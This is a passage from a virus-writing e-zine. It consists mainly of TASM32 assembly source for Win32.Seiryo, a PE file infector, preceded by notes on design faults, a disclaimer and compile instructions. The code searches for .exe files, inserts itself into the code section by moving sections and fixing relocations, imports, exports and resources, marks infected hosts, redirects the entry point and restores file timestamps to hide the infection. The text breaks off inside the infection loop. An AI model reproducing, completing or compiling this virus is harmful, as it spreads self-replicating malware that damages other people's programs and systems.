correctly debugged. It could well become the preferred method of infection in
|
||||
terms of stealth. The lengthy code, potential bugs, and complexity could be a
|
||||
deterrence for use in an average virus.
|
||||
|
||||
-=( 2 : Win32.Seiryo Design Faults --------------------------------------- )=-
|
||||
|
||||
This is a test virus, so the it's spreading ability is minimal.
|
||||
|
||||
The major drawback to this infection method is that not all files have .reloc
|
||||
sections. In fact, only about half of non-system files, maybe less have one.
|
||||
Thus this method should probably have a backup method of space allocation.
|
||||
|
||||
-=( 3 : Win32.Seiryo Disclaimer ------------------------------------------ )=-
|
||||
|
||||
THE CONTENTS OF THIS ELECTRONIC MAGAZINE AND ITS ASSOCIATED SOURCE CODE ARE
|
||||
COVERED UNDER THE BELOW TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO BE BOUND
|
||||
BY THESE TERMS AND CONDITIONS, OR ARE NOT LEGALLY ENTITLED TO AGREE TO THEM,
|
||||
YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY.
|
||||
|
||||
COPYRIGHT
|
||||
Copyright on materials in this magazine and the information therein and
|
||||
their arrangement is owned by FEATHERED SERPENTS unless otherwise indicated.
|
||||
|
||||
RIGHTS AND LIMITATIONS
|
||||
You have the right to use, copy and distribute the material in this
|
||||
magazine free of charge, for all purposes allowed by your governing
|
||||
laws. You are expressly PROHIBITED from using the material contained
|
||||
herein for any purposes that would cause or would help promote
|
||||
the illegal use of the material.
|
||||
|
||||
NO WARRANTY
|
||||
The information contained within this magazine are provided "as is".
|
||||
FEATHERED SERPENTS do not warranty the accuracy, adequacy,
|
||||
or completeness of given information, and expressly disclaims
|
||||
liability for errors or omissions contained therein. No implied,
|
||||
express, or statutory warranty, is given in conjunction with this magazine.
|
||||
|
||||
LIMITATION OF LIABILITY
|
||||
In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for any
|
||||
damages including and without limitation, direct or indirect, special,
|
||||
incidental, or consequential damages, losses, or expenses arising in
|
||||
connection with this magazine, or the use thereof.
|
||||
|
||||
ADDITIONAL DISCLAIMER
|
||||
Computer viruses will spread of their own accord between computer systems, and
|
||||
across international boundaries. They are raw animals with no concern for the
|
||||
law, and for that reason your possession of them makes YOU responsible for the
|
||||
actions they carry out.
|
||||
|
||||
The viruses provided in this magazine are for educational purposes ONLY. They
|
||||
are NOT intended for use in ANY WAY outside of strict, controlled laboratory
|
||||
conditions. If compiled and executed these viruses WILL land you in court(s).
|
||||
|
||||
You will be held responsible for your actions. As source code these viruses
|
||||
are inert and covered by implied freedom of speech laws in some
|
||||
countries. In binary form these viruses are malicious weapons. FEATHERED
|
||||
SERPENTS do not condone the application of these viruses and will NOT be held
|
||||
LIABLE for any MISUSE.
|
||||
|
||||
-=( 4 : Win32.Seiryo Compile Instructions -------------------------------- )=-
|
||||
|
||||
TASM32 5.0 & TLINK32 1.6.71.0
|
||||
|
||||
tasm32 /m /ml Seiryo.asm
|
||||
tlink32 /Tpe /x Seiryo.obj, Seiryo.exe,,import32.lib
|
||||
|
||||
-=( 5 : Win32.Seiryo ----------------------------------------------------- ) `
|
||||
|
||||
%out Assembling file implies acceptance of disclaimer inside source code
|
||||
|
||||
.386
|
||||
.model flat, stdcall
|
||||
warn ; Warnings on
|
||||
|
||||
VIRSIZE equ VirEnd - VirStart
|
||||
|
||||
extrn ExitProcess:PROC
|
||||
INVALID_HANDLE_VALUE equ 0FFFFFFFFh
|
||||
OPEN_EXISTING equ 3
|
||||
FILE_SHARE_WRITE equ 0002h
|
||||
FILE_BEGIN equ 0
|
||||
FILE_MAP_WRITE equ 2
|
||||
GENERIC_READ equ 80000000h
|
||||
GENERIC_WRITE equ 40000000h
|
||||
PAGE_READWRITE equ 00000004h
|
||||
|
||||
WIN32_FIND_DATA struct
|
||||
fd_dwFileAttributes dd 0
|
||||
fd_ftCreationTime dd 0, 0
|
||||
fd_ftLastAccessTime dd 0, 0
|
||||
fd_ftLastWriteTime dd 0, 0
|
||||
fd_nFileSizeHigh dd 0
|
||||
fd_nFileSizeLow dd 0
|
||||
fd_dwReserved0 dd 0
|
||||
fd_dwReserved1 dd 0
|
||||
fd_cFileName db 260 dup(0)
|
||||
fd_cAlternateFileName db 14 dup(0)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
PEHEADER struct
|
||||
ID dd ?
|
||||
Machine dw ?
|
||||
NumberOfSections dw ?
|
||||
TimeDateStamp dd ?
|
||||
PointerToSymbolTable dd ?
|
||||
NumberOfSymbols dd ?
|
||||
SizeOfOptionalHeader dw ?
|
||||
Characteristics dw ?
|
||||
; Optional Header:
|
||||
MagicNumber dw ?
|
||||
MajorLinkerVersion db ?
|
||||
MinorLinkerVersion db ?
|
||||
SizeOfCode dd ?
|
||||
SizeOfInitializedData dd ?
|
||||
SizeOfUninitializedData dd ?
|
||||
AddressOfEntryPoint dd ?
|
||||
BaseOfCode dd ?
|
||||
BaseOfData dd ?
|
||||
ImageBase dd ?
|
||||
SectionAlignment dd ?
|
||||
FileAlignment dd ?
|
||||
MajorOperatingSystemVersion dw ?
|
||||
MinorOperatingSystemVersion dw ?
|
||||
MajorImageVersion dw ?
|
||||
MinorImageVersion dw ?
|
||||
MajorSubsystemVersion dw ?
|
||||
MinorSubsystemVersion dw ?
|
||||
Reserved1 dd ?
|
||||
SizeOfImage dd ?
|
||||
SizeOfHeaders dd ?
|
||||
CheckSum dd ?
|
||||
Subsystem dw ?
|
||||
DllCharacteristics dw ?
|
||||
SizeOfStackReserve dd ?
|
||||
SizeOfStackCommit dd ?
|
||||
SizeOfHeapReserve dd ?
|
||||
SizeOfHeapCommit dd ?
|
||||
LoaderFlags dd ?
|
||||
NumberOfRvaAndSizes dd ?
|
||||
DataDirectory dd 20 dup (?)
|
||||
PEHEADER ends
|
||||
|
||||
; -**************************-
|
||||
; Section Table Entry format
|
||||
; -**************************-
|
||||
|
||||
SECTION struct
|
||||
sec_Name db 8 dup (?)
|
||||
sec_VirtualSize dd ?
|
||||
sec_VirtualAddress dd ?
|
||||
sec_SizeOfRawData dd ?
|
||||
sec_PointerToRawData dd ?
|
||||
sec_PointerToRelocations dd ?
|
||||
sec_PointerToLinenumbers dd ?
|
||||
sec_NumberOfRelocations dw ?
|
||||
sec_NumberOfLineNumbers dw ?
|
||||
sec_Characteristics dd ?
|
||||
SECTION ends
|
||||
; Section Characteristics flags
|
||||
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
SEC_CODE equ 00000020h
|
||||
SEC_INITIALIZED_DATA equ 00000040h
|
||||
SEC_UNINITIALIZED_DATA equ 00000080h
|
||||
SEC_NO_CACHE equ 04000000h
|
||||
SEC_NOT_PAGEABLE equ 08000000h
|
||||
SEC_SHARED equ 10000000h
|
||||
SEC_EXECUTABLE equ 20000000h
|
||||
SEC_READ equ 40000000h
|
||||
SEC_WRITE equ 80000000h
|
||||
|
||||
; -*******************-
|
||||
; Import Table format
|
||||
; -*******************-
|
||||
|
||||
IMPORTTABLE struct
|
||||
imp_Characteristics dd ?
|
||||
imp_DateTimeStamp dd ?
|
||||
imp_ForwarderChain dd ?
|
||||
imp_Name dd ?
|
||||
imp_FirstThunk dd ?
|
||||
IMPORTTABLE ends
|
||||
|
||||
; -*******************-
|
||||
; Export Table format
|
||||
; -*******************-
|
||||
|
||||
EXPORTHEADER struct
|
||||
exp_Characteristics dd ?
|
||||
exp_DateTimeStamp dd ?
|
||||
exp_MajorVersion dw ?
|
||||
exp_MinorVersion dw ?
|
||||
exp_Name dd ?
|
||||
exp_Base dd ?
|
||||
exp_NumberOfFunctions dd ?
|
||||
exp_NumberOfNames dd ?
|
||||
exp_AddressOfFunctions dd ?
|
||||
exp_AddressOfNames dd ?
|
||||
exp_AddressOfNameOrdinals dd ?
|
||||
EXPORTHEADER ends
|
||||
|
||||
; -******************-
|
||||
; Resource Dir Table
|
||||
; -******************-
|
||||
|
||||
RESOURCETABLE struct
|
||||
res_Characteristics dd ?
|
||||
res_DateTimeStamp dd ?
|
||||
res_MajorVersion dw ?
|
||||
res_MinorVersion dw ?
|
||||
res_NumNameEntry dw ?
|
||||
res_NumIDEntry dw ?
|
||||
RESOURCETABLE ends
|
||||
RESOURCEENTRY struct
|
||||
resent_ID dd ?
|
||||
resent_Next dd ?
|
||||
RESOURCEENTRY ends
|
||||
|
||||
; -****************-
|
||||
; Thread Dir Table
|
||||
; -****************-
|
||||
|
||||
THREADTABLE struct
|
||||
thread_StartDataVA dd ?
|
||||
thread_EndDataVA dd ?
|
||||
thread_IndexVA dd ?
|
||||
thread_CallbackTableVA dd ?
|
||||
THREADTABLE ends
|
||||
|
||||
|
||||
|
||||
.DATA
|
||||
dummy db 0
|
||||
|
||||
|
||||
|
||||
; *******
|
||||
; Local Variables
|
||||
; *******
|
||||
AlignPhys equ -3
|
||||
AlignVirtual equ -4
|
||||
VirusRVA equ AlignVirtual-4
|
||||
VirusVA equ VirusRVA-4
|
||||
MoveAmount equ VirusVA-4
|
||||
PhysMove equ MoveAmount-4
|
||||
_FindFirstFileA equ PhysMove-4
|
||||
_CreateFileA equ _FindFirstFileA-4
|
||||
_CreateFileMappingA equ _CreateFileA-4
|
||||
_MapViewOfFile equ _CreateFileMappingA-4
|
||||
_UnmapViewOfFile equ _MapViewOfFile-4
|
||||
_SetFilePointer equ _UnmapViewOfFile-4
|
||||
_SetEndOfFile equ _SetFilePointer-4
|
||||
_SetFileTime equ _SetEndOfFile-4
|
||||
_CloseHandle equ _SetFileTime-4
|
||||
_FindNextFileA equ _CloseHandle-4
|
||||
Imports equ _FindNextFileA ; Label (no -4)
|
||||
FileFind equ Imports-size WIN32_FIND_DATA
|
||||
FileFindHnd equ FileFind-4
|
||||
SizeOfLocals equ -FileFindHnd
|
||||
|
||||
.CODE
|
||||
VirStart:
|
||||
start:
|
||||
push ebp ; Setup locals on stack
|
||||
mov ebp, esp
|
||||
sub esp, SizeOfLocals
|
||||
|
||||
mov edi, [ebp+4]
|
||||
and edi, 0FFFFf000h
|
||||
mov ecx, 128
|
||||
FindKernelLoop:
|
||||
cmp word ptr [edi], 'ZM'
|
||||
je short GotKernel
|
||||
sub edi, 1000h
|
||||
loop FindKernelLoop
|
||||
GotoExitInfector:
|
||||
jmp ExitInfector
|
||||
GotKernel:
|
||||
movzx edx, word ptr [edi+3Ch]
|
||||
add edx, edi
|
||||
cmp dword ptr [edx], 'EP'
|
||||
jne short GotoExitInfector
|
||||
|
||||
mov edx, [edx].DataDirectory ; Get Kernel Exports
|
||||
add edx, edi
|
||||
xor ecx, ecx
|
||||
mov esi, [edx].exp_AddressOfNames
|
||||
add esi, edi
|
||||
FindGetProc:
|
||||
inc ecx
|
||||
cmp ecx, [edx].exp_NumberOfNames
|
||||
jg short GotoExitInfector
|
||||
lodsd
|
||||
add eax, edi
|
||||
cmp [eax], 'PteG'
|
||||
jne short FindGetProc
|
||||
cmp [eax+4], 'Acor'
|
||||
jne short FindGetProc
|
||||
cmp [eax+8], 'erdd'
|
||||
jne short FindGetProc
|
||||
|
||||
mov ebx, [edx].exp_AddressOfNameOrdinals
|
||||
add ebx, edi
|
||||
movzx ecx, word ptr [ebx+2*ecx]
|
||||
sub ecx, [edx].exp_Base
|
||||
mov ebx, [edx].exp_AddressOfFunctions
|
||||
add ebx, edi
|
||||
mov edx, [ebx+4*ecx]
|
||||
add edx, edi
|
||||
|
||||
call PushImportsAddress
|
||||
db 14,'FindNextFileA',0
|
||||
db 12,'CloseHandle',0
|
||||
db 12,'SetFileTime',0
|
||||
db 13,'SetEndOfFile',0
|
||||
db 15,'SetFilePointer',0
|
||||
db 16,'UnmapViewOfFile',0
|
||||
db 14,'MapViewOfFile',0
|
||||
db 19,'CreateFileMappingA',0
|
||||
db 12,'CreateFileA',0
|
||||
db 15,'FindFirstFileA',0
|
||||
db 0
|
||||
PushImportsAddress:
|
||||
pop esi
|
||||
xor ecx, ecx
|
||||
mov ebx, edi
|
||||
lea edi, [ebp+Imports]
|
||||
ImportLoop:
|
||||
mov cl, [esi]
|
||||
inc esi
|
||||
jecxz DoneImports
|
||||
push edx
|
||||
push ecx
|
||||
call edx, ebx, esi
|
||||
or eax, eax
|
||||
jz ExitInfector
|
||||
pop ecx
|
||||
pop edx
|
||||
stosd
|
||||
add esi, ecx
|
||||
jmp short ImportLoop
|
||||
DoneImports:
|
||||
|
||||
lea eax, [ebp+FileFind] ; Find an Exe file
|
||||
push eax
|
||||
call PushFileMask
|
||||
db '*.exe',0
|
||||
PushFileMask:
|
||||
call [ebp+_FindFirstFileA]
|
||||
mov [ebp+FileFindHnd], eax
|
||||
cmp eax, INVALID_HANDLE_VALUE
|
||||
je ExitInfector
|
||||
|
||||
|
||||
InfectNextFile:
|
||||
lea eax, [ebp+FileFind].fd_cFileName ; Get FileName
|
||||
cmp byte ptr [eax], 0 ; use short if no long
|
||||
jne short UseLongFileName
|
||||
lea eax, [ebp+FileFind].fd_cAlternateFileName
|
||||
UseLongFileName:
|
||||
|
||||
call [ebp+_CreateFileA], eax, GENERIC_READ+GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0
|
||||
cmp eax, INVALID_HANDLE_VALUE ; Map the file
|
||||
je FindTheNextFile
|
||||
push eax ; Push FileHandle for close
|
||||
mov ebx, [ebp+FileFind].fd_nFileSizeLow
|
||||
add ebx, VIRSIZE+10000
|
||||
call [ebp+_CreateFileMappingA], eax, 0, PAGE_READWRITE, 0, ebx, 0
|
||||
or eax, eax
|
||||
je CloseAndExitInfector
|
||||
push eax
|
||||
xchg eax, esi
|
||||
call [ebp+_MapViewOfFile], esi, FILE_MAP_WRITE, 0, 0, 0
|
||||
push eax ; Push Memory Addy for close
|
||||
mov esi, eax
|
||||
|
||||
cmp word ptr [eax], 'ZM' ; Check if exe is ok to infect
|
||||
jne InfectableNo
|
||||
cmp word ptr [eax+18h], 40h
|
||||
jb InfectableNo
|
||||
movzx ecx, word ptr [eax+3Ch]
|
||||
add eax, ecx
|
||||
cmp dword ptr [eax], 'EP'
|
||||
jne InfectableNo
|
||||
cmp [eax].NumberOfRvaAndSizes, 10
|
||||
jb InfectableNo
|
||||
cmp [eax].MinorLinkerVersion, 7 ; Infection Marker
|
||||
je InfectableNo
|
||||
|
||||
movzx edx, [eax].SizeOfOptionalHeader
|
||||
lea edx, [eax+edx+18h] ; Start of Section table
|
||||
|
||||
; Check For code section being first
|
||||
test [edx].sec_Characteristics, SEC_CODE
|
||||
jz InfectableNo
|
||||
|
||||
mov byte ptr [ebp+AlignVirtual],1 ; See if Virt aligned
|
||||
mov ebx, [edx].sec_VirtualSize
|
||||
mov ecx, [eax].SectionAlignment
|
||||
dec ecx
|
||||
test ebx, ecx
|
||||
jz short VirtuallyAligned
|
||||
dec byte ptr [ebp+AlignVirtual]
|
||||
VirtuallyAligned:
|
||||
|
||||
mov byte ptr [ebp+AlignPhys],1 ; See if Phys aligned
|
||||
mov edi, [edx].sec_SizeOfRawData
|
||||
mov ecx, [eax].FileAlignment
|
||||
dec ecx
|
||||
test edi, ecx
|
||||
jz short PhysicallyAligned
|
||||
dec byte ptr [ebp+AlignPhys]
|
||||
PhysicallyAligned:
|
||||
cmp ebx, edi ; Which is smaller?
|
||||
jbe short UseVirtualSize ; (i.e. actual size)
|
||||
mov ebx, edi
|
||||
UseVirtualSize:
|
||||
|
||||
mov edi, ebx ; Find Physical move amount
|
||||
add edi, [edx].sec_PointerToRawData
|
||||
lea edi, [edi+ecx+VIRSIZE]
|
||||
not ecx
|
||||
and edi, ecx
|
||||
mov [ebp+PhysMove], edi
|
||||
|
||||
add ebx, [edx].sec_VirtualAddress ; Find VA & RVA of virus
|
||||
mov [ebp+VirusRVA], ebx
|
||||
mov edi, ebx
|
||||
add ebx, [eax].ImageBase
|
||||
mov [ebp+VirusVA], ebx
|
||||
|
||||
movzx ecx, [eax].NumberOfSections ; Code Section First?
|
||||
mov ebx, [edx].sec_VirtualAddress
|
||||
push edx
|
||||
push ecx
|
||||
CheckForFirstSection:
|
||||
cmp ebx, [edx].sec_VirtualAddress
|
||||
ja InfectableNo
|
||||
add edx, size SECTION
|
||||
loop CheckForFirstSection
|
||||
pop ecx
|
||||
pop edx
|
||||
|
||||
dec ecx ; Section 2 is Next?
|
||||
jz short DoneCheckNextSec
|
||||
mov ebx, [edx + size SECTION].sec_PointerToRawData
|
||||
sub [ebp+PhysMove], ebx
|
||||
mov ebx, [edx + size SECTION].sec_VirtualAddress
|
||||
cmp ebx, [eax].AddressOfEntryPoint ; Entry Point in code sec?
|
||||
jbe InfectableNo
|
||||
CheckNextSec:
|
||||
add edx, size SECTION
|
||||
cmp ebx, [edx].sec_VirtualAddress
|
||||
ja InfectableNo
|
||||
loop CheckNextSec
|
||||
|
||||
|
||||
DoneCheckNextSec:
|
||||
add edi, VIRSIZE ; Calculate Virtual Move amount
|
||||
mov ecx, [eax].SectionAlignment
|
||||
dec ecx
|
||||
add edi, ecx
|
||||
not ecx
|
||||
and edi, ecx
|
||||
sub edi, ebx
|
||||
jae short PositiveMoveAmount
|
||||
xor edi, edi
|
||||
PositiveMoveAmount:
|
||||
mov [ebp+MoveAmount], edi
|
||||
|
||||
|
||||
; ************
|
||||
; Goto relocation section
|
||||
|
||||
mov eax, [eax].DataDirectory+40 ; Reloc Offset
|
||||
or eax, eax
|
||||
jz InfectableNo
|
||||
call RVA2Addr
|
||||
mov edi, eax
|
||||
|
||||
; EDI = start of relocation info (struct: repeat of following).
|
||||
; RELOC INFO is:
|
||||
; RVA dd ?
|
||||
; Size dd ? - includes the 8 bytes for this and above field.
|
||||
; - should always be 32bit aligned.
|
||||
; entries dw (Size-8)/2 dup (?)
|
||||
; Rellocs end when next RVA is 0
|
||||
; Each entry's top 4 bits are the type of relocation. The rest of the 12 bits
|
||||
; are an offset from the RVA of the position.
|
||||
; (i.e. address = RVA + (entry & 0x0FFF) )
|
||||
; Currently handles only relocations of types 0 (nop) and 3 (normal)
|
||||
|
||||
MoveRelocLoop:
|
||||
mov eax, [edi]
|
||||
or eax, eax ; If RVA=0 then done
|
||||
je short DoneReloc
|
||||
cmp eax, [ebp+VirusRVA] ; reloc it if < VirusRVA
|
||||
jb short MoveRelocSkip
|
||||
mov ecx, [ebp+MoveAmount]
|
||||
add [edi], ecx
|
||||
MoveRelocSkip:
|
||||
mov ecx, [edi+4]
|
||||
sub ecx, 8
|
||||
shr ecx, 1 ; ecx = number of entries
|
||||
add edi, 8
|
||||
call RVA2Addr
|
||||
mov edx, eax
|
||||
|
||||
InnerRelocLoop:
|
||||
jecxz MoveRelocLoop ; Done block if ecx=0 - do next
|
||||
dec ecx
|
||||
movzx eax, word ptr [edi]
|
||||
inc edi
|
||||
inc edi
|
||||
mov ebx,eax
|
||||
shr ebx, 12 ; ebx = top 4 bits of entry
|
||||
jz short InnerRelocLoop ; if 0, then it's padding
|
||||
cmp ebx, 3
|
||||
jne InfectableNo
|
||||
and ah,0Fh ; remove type
|
||||
mov ebx, [eax+edx] ; reloc if necessary
|
||||
cmp ebx, [ebp+VirusVA]
|
||||
jb short InnerRelocLoop
|
||||
mov ebx, [ebp+MoveAmount]
|
||||
add dword ptr [eax+edx], ebx
|
||||
jmp short InnerRelocLoop
|
||||
|
||||
;RelocError:
|
||||
; int 3
|
||||
; int 3
|
||||
DoneReloc:
|
||||
|
||||
; ************
|
||||
; Move physically
|
||||
; ************
|
||||
|
||||
movzx edx, word ptr [esi+3Ch] ; From the new virus position
|
||||
add edx, esi ; move everything to EOF back
|
||||
mov eax,[ebp+VirusRVA] ; by PhysMove
|
||||
mov [ebp+VirusRVA], eax ; To do this, start at EOF
|
||||
dec eax ; and go backwards to start
|
||||
call RVA2Addr ; (hence std/rep movsb)
|
||||
inc eax
|
||||
mov ecx, esi
|
||||
add ecx, [ebp+FileFind].fd_nFileSizeLow
|
||||
sub ecx, eax
|
||||
xchg eax, ebx
|
||||
push esi
|
||||
lea esi, [ebx+ecx-1]
|
||||
mov eax, [ebp+PhysMove]
|
||||
add [ebp+FileFind].fd_nFileSizeLow, eax
|
||||
lea edi, [esi+eax]
|
||||
std
|
||||
rep movsb
|
||||
cld
|
||||
mov ecx, VIRSIZE ; Copy code into it
|
||||
mov edi, ebx
|
||||
call GetVirStart
|
||||
GetVirStart:
|
||||
pop esi
|
||||
sub esi, GetVirStart-VirStart
|
||||
rep movsb
|
||||
pop esi
|
||||
|
||||
|
||||
; ***********************
|
||||
; Fix RVAs and other
|
||||
; ***********************
|
||||
|
||||
|
||||
; PE Header Fix
|
||||
; Entry Point - should be fine for now
|
||||
; ImageSize
|
||||
mov eax, [ebp+MoveAmount]
|
||||
add [edx].SizeOfImage, eax
|
||||
; SizeOfCode
|
||||
add [edx].SizeOfCode, eax
|
||||
; BaseOfData
|
||||
add [edx].BaseOfData, eax
|
||||
; DataDirectory:
|
||||
mov ecx, [edx].NumberOfRvaAndSizes
|
||||
lea edi, [edx].DataDirectory
|
||||
DataDirLoop:
|
||||
mov eax, [edi]
|
||||
or eax, eax
|
||||
jz short DataDirSkip
|
||||
cmp eax, [ebp+VirusRVA]
|
||||
jb short DataDirSkip
|
||||
add eax, [ebp+MoveAmount]
|
||||
mov [edi], eax
|
||||
DataDirSkip:
|
||||
add edi,8
|
||||
loop DataDirLoop
|
||||
|
||||
; Fix Section Table (edi conviniently points to it now)
|
||||
mov eax, [ebp+VirusRVA]
|
||||
sub eax, [edi].sec_VirtualAddress
|
||||
add eax, VIRSIZE
|
||||
cmp byte ptr [ebp+AlignVirtual],1
|
||||
jne short NoVirtAlign
|
||||
mov ecx, [edx].SectionAlignment
|
||||
dec ecx
|
||||
add eax, ecx
|
||||
not ecx
|
||||
and eax, ecx
|
||||
NoVirtAlign:
|
||||
mov [edi].sec_VirtualSize, eax
|
||||
mov eax, [edi].sec_SizeOfRawData
|
||||
add eax, [ebp+PhysMove]
|
||||
mov [edi].sec_SizeOfRawData, eax
|
||||
|
||||
movzx ecx, [edx].NumberOfSections
|
||||
mov ebx, [ebp+PhysMove]
|
||||
SectionTableFixUp:
|
||||
mov eax, [edi].sec_VirtualAddress
|
||||
cmp eax, [ebp+VirusRVA]
|
||||
jb short NextSecFixUp
|
||||
add eax, [ebp+MoveAmount]
|
||||
mov [edi].sec_VirtualAddress, eax
|
||||
add [edi].sec_PointerToRawData,ebx
|
||||
NextSecFixUp:
|
||||
add edi, size SECTION
|
||||
loop SectionTableFixUp
|
||||
|
||||
; Fix Up Relocation Section - done above (during reloc)
|
||||
|
||||
; Fix up Imports
|
||||
movzx eax, word ptr [esi+3Ch]
|
||||
add eax, esi
|
||||
mov eax, [eax].DataDirectory+8
|
||||
call RVA2Addr
|
||||
xchg eax, edi
|
||||
mov ebx, [ebp+MoveAmount]
|
||||
FixNextImport:
|
||||
mov eax, [edi].imp_Name
|
||||
or eax, eax
|
||||
je short DoneImportFix
|
||||
cmp eax, [ebp+VirusRVA]
|
||||
jb short SkipImpNameFix
|
||||
add [edi].imp_Name, ebx
|
||||
SkipImpNameFix:
|
||||
mov eax, [edi].imp_Characteristics
|
||||
or eax, eax
|
||||
jz short FixFirstThunk
|
||||
cmp eax, [ebp+VirusRVA]
|
||||
jb short SkipImpCharFix
|
||||
add eax, ebx
|
||||
mov [edi].imp_Characteristics, eax
|
||||
SkipImpCharFix:
|
||||
; Fix Characteristic field now
|
||||
call RVA2Addr
|
||||
ImpCharLoop:
|
||||
mov ecx, [eax]
|
||||
or ecx, ecx
|
||||
jz short ImpCharLoopDone
|
||||
js short ImpCharLoopNoFix
|
||||
cmp ecx, [ebp+VirusRVA]
|
||||
jb short ImpCharLoopNoFix
|
||||
add [eax], ebx
|
||||
ImpCharLoopNoFix:
|
||||
add eax, 4
|
||||
jmp short ImpCharLoop
|
||||
ImpCharLoopDone:
|
||||
|
||||
FixFirstThunk:
|
||||
mov eax, [edi].imp_FirstThunk
|
||||
cmp eax, [ebp+VirusRVA]
|
||||
jb short DoneSectionFix
|
||||
add eax, ebx
|
||||
mov [edi].imp_FirstThunk, eax
|
||||
DoneSectionFix:
|
||||
call RVA2Addr
|
||||
ImpThunkLoop:
|
||||
mov ecx, [eax]
|
||||
or ecx, ecx
|
||||
jz short ImpThunkLoopDone
|
||||
js short ImpThunkNoFix
|
||||
cmp ecx, [ebp+VirusRVA]
|
||||
jb short ImpThunkNoFix
|
||||
add dword ptr [eax], ebx
|
||||
ImpThunkNoFix:
|
||||
add eax, 4
|
||||
jmp short ImpThunkLoop
|
||||
ImpThunkLoopDone:
|
||||
add edi, size IMPORTTABLE
|
||||
jmp short FixNextImport
|
||||
DoneImportFix:
|
||||
|
||||
|
||||
; Fix up Resource (2)
|
||||
mov eax, [edx].DataDirectory+(2*8)
|
||||
or eax, eax
|
||||
jz short FixUpNoResources
|
||||
call RVA2Addr
|
||||
push edx
|
||||
mov edx, eax
|
||||
xchg eax, edi
|
||||
mov ebx, [ebp+MoveAmount]
|
||||
call FixupResource
|
||||
pop edx
|
||||
FixUpNoResources:
|
||||
|
||||
;FixUpExports:
|
||||
mov eax, [edx].DataDirectory
|
||||
or eax, eax
|
||||
jz short FixUpNoExports
|
||||
call RVA2Addr
|
||||
push edx
|
||||
mov edx, [ebp+VirusRVA]
|
||||
xchg eax, edi
|
||||
add [edi].exp_Name, ebx ; Fix dll name
|
||||
add [edi].exp_AddressOfFunctions, ebx ; Fix RVA to address Array
|
||||
mov eax, [edi].exp_AddressOfFunctions
|
||||
call RVA2Addr
|
||||
mov ecx, [edi].exp_NumberOfFunctions
|
||||
ExpFixFuncRVAsLoop: ; Not handling ecx=0, who cares
|
||||
cmp [eax], edx
|
||||
jb short ExpFixFuncSkipRVA
|
||||
add [eax], ebx
|
||||
ExpFixFuncSkipRVA:
|
||||
add eax, 4
|
||||
loop ExpFixFuncRVAsLoop
|
||||
add [edi].exp_AddressOfNames, ebx
|
||||
mov eax, [edi].exp_AddressOfNames
|
||||
call RVA2Addr
|
||||
mov ecx, [edi].exp_NumberOfNames
|
||||
ExpFixNameRVAsLoop:
|
||||
cmp [eax], edx
|
||||
jb short ExpFixNameSkipRVA
|
||||
add [eax], ebx
|
||||
ExpFixNameSkipRVA:
|
||||
add eax, 4
|
||||
loop ExpFixNameRVAsLoop
|
||||
add [edi].exp_AddressOfNameOrdinals, ebx
|
||||
pop edx
|
||||
FixUpNoExports:
|
||||
|
||||
xor eax, eax
|
||||
mov [edx].DataDirectory+(6*8), eax ; Kill debug info
|
||||
mov [edx].DataDirectory+(6*8+4), eax ; Kill debug info
|
||||
|
||||
; Fix Thread Storage
|
||||
; - All are VAs - thus they seem to be fixed by fixing the reloc entries.
|
||||
; (at least in my test files)
|
||||
;
|
||||
; mov eax, [edx].DataDirectory+(9*8)
|
||||
; or eax, eax
|
||||
; jz short NoThreadStorage
|
||||
; call RVA2Addr
|
||||
; xchg eax, edi
|
||||
;
|
||||
; mov eax, [edi].thread_StartDataVA
|
||||
; cmp eax, [ebp+VirusVA]
|
||||
; jb short ThreadNoFixStart
|
||||
; add [edi].thread_StartDataVA, ebx
|
||||
;ThreadNoFixStart:
|
||||
; mov eax, [edi].thread_EndDataVA
|
||||
; cmp eax, [ebp+VirusVA]
|
||||
; jb short ThreadNoFixEnd
|
||||
; add [edi].thread_StartDataVA, ebx
|
||||
;ThreadNoFixEnd:
|
||||
; mov eax, [edi].thread_IndexVA
|
||||
; cmp eax, [ebp+VirusVA]
|
||||
; jb short ThreadNoFixIndex
|
||||
; add [edi].thread_IndexVA, ebx
|
||||
;ThreadNoFixIndex:
|
||||
; mov eax, [edi].thread_CallbackTableVA
|
||||
; cmp eax, [ebp+VirusVA]
|
||||
; jb short ThreadNoFixCallback
|
||||
; add [edi].thread_CallbackTableVA, ebx
|
||||
;ThreadNoFixCallback:
|
||||
; sub eax, [edx].ImageBase
|
||||
; call RVA2Addr
|
||||
|
||||
NoThreadStorage:
|
||||
|
||||
; Fiddle with entry point
|
||||
mov [edx].MinorLinkerVersion, 7
|
||||
mov ecx, [edx].AddressOfEntryPoint
|
||||
mov eax, [ebp+VirusRVA]
|
||||
mov [edx].AddressOfEntryPoint, eax ; Set new entry point
|
||||
add eax, offset HostFileEntryPoint - offset VirStart
|
||||
sub ecx, 4
|
||||
sub ecx, eax
|
||||
call RVA2Addr
|
||||
mov [eax], ecx ; Fix Jump to host in mem map
|
||||
|
||||
|
||||
; Checklist:
|
||||
; ---------
|
||||
; Fix up Exports (0) done
|
||||
; Fix up Imports (1) done
|
||||
; Fix up Resource (2) done
|
||||
; Fix up Exception (3)
|
||||
; Fix up Security (4)
|
||||
; Fix up Reloc (5) done
|
||||
; Fix up Debug (6) zeroed
|
||||
; Fix up Description/Architecture (7) done?
|
||||
; Fix up Machine Value (8)
|
||||
; Fix up ThreadStorage (9) done by reloc fixup?
|
||||
; Fix up LoadConfiuration (10)
|
||||
; Fix up Bound Import (11)
|
||||
; Fix up Import Address Table (12) done by imports fixup
|
||||
; Fix up Delay Import (13)
|
||||
; Fix up COM Runtime Descriptor (14)
|
||||
|
||||
InfectableNo:
|
||||
UnmapAndClose:
|
||||
call [ebp+_UnmapViewOfFile]
|
||||
call [ebp+_CloseHandle]
|
||||
mov ebx, [esp] ; Reset File Size
|
||||
call [ebp+_SetFilePointer], ebx, [ebp+FileFind].fd_nFileSizeLow, 0, FILE_BEGIN
|
||||
call [ebp+_SetEndOfFile], ebx
|
||||
lea eax, [ebp+FileFind].fd_ftCreationTime
|
||||
lea ecx, [ebp+FileFind].fd_ftLastAccessTime
|
||||
lea edx, [ebp+FileFind].fd_ftLastWriteTime
|
||||
call [ebp+_SetFileTime], ebx, eax,ecx,edx
|
||||
CloseAndExitInfector:
|
||||
call [ebp+_CloseHandle]
|
||||
FindTheNextFile:
|
||||
